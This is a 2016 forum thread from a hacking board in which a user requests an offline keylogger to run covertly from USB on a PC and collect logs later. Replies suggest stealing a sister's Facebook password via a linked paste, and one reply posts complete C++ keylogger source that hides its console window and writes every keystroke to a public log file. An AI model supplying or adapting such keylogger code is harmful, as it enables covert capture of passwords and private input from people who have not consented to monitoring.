Hack Forums
[Request] Offline Keylogger - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: [Request] Offline Keylogger (/showthread.php?tid=5253828)



[Request] Offline Keylogger - 2K2k - Apr 29, 2016

So basicly I am searching for a offline keylogger but I cant seem to find any as some are old and links are proken.

What I mean is you put it on a USB put the usb in the PC and run the keylogger which would write the logs in a .txt file on PC. (Basicly not sending logs to a mail).

After certain amount of time you would go back to the pc put your USB back in and pick up the logs...

Why all this? Well I dont have a VPN... But I could also make some fake email acounts and send logs to them and then chechk the emails in public pc's ? eh... 😑


im sory if I wasted your time 😟


* - 2K2k - May 1, 2016

Took my time to looked up C++ started learning C++ and coded one myself 😏


* - _Devil - May 2, 2016

(May 1, 2016 11:18 AM)2K2k Wrote:  Took my time to looked up C++ started learning C++ and coded one myself 😏

C# would be easy for you to learn and code your own Keylogger.


* - colja123 - May 3, 2016

This could be good as well if you're trying to find out your annoying sister's facebook password when she's on the pc:


http://pastebin.com/JQRHbhYn


* - 2K2k - May 23, 2016

(May 23, 2016 02:49 PM)TTiger Wrote:  Hi again, wasn't sure if you were aware but the TTiger Keylogger does exactly this with the USB text file dump options, optimised for USB sticks :)

Its an old post I allready have TTiger Keylogger 🙂


* - WhenURoflButThenDie - May 26, 2016

Here's the code for an offline C++ Keylogger:

#include "stdafx.h"
#include <fstream>
#include <iostream>
#include <windows.h>

using namespace std;

int Save(int _key, char *file);

int main() {

FreeConsole();

char i;

while (true) {

for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "C:\\Users\\Public\\log.txt");
}
}
}
return 0;
}

int Save(int _key, char *file) {

cout << _key << endl;


FILE *OUTPUT_FILE;

//OUTPUT_FILE = fopen(file, "a+");
errno_t err = fopen_s(&OUTPUT_FILE, file, "a+");

if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (_key == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);

fclose(OUTPUT_FILE);

return 0;
}


EDIT: Oh sorry, didn't look at the date either.


* - DamienVC - May 28, 2016

GetAsyncKeyState lol topkek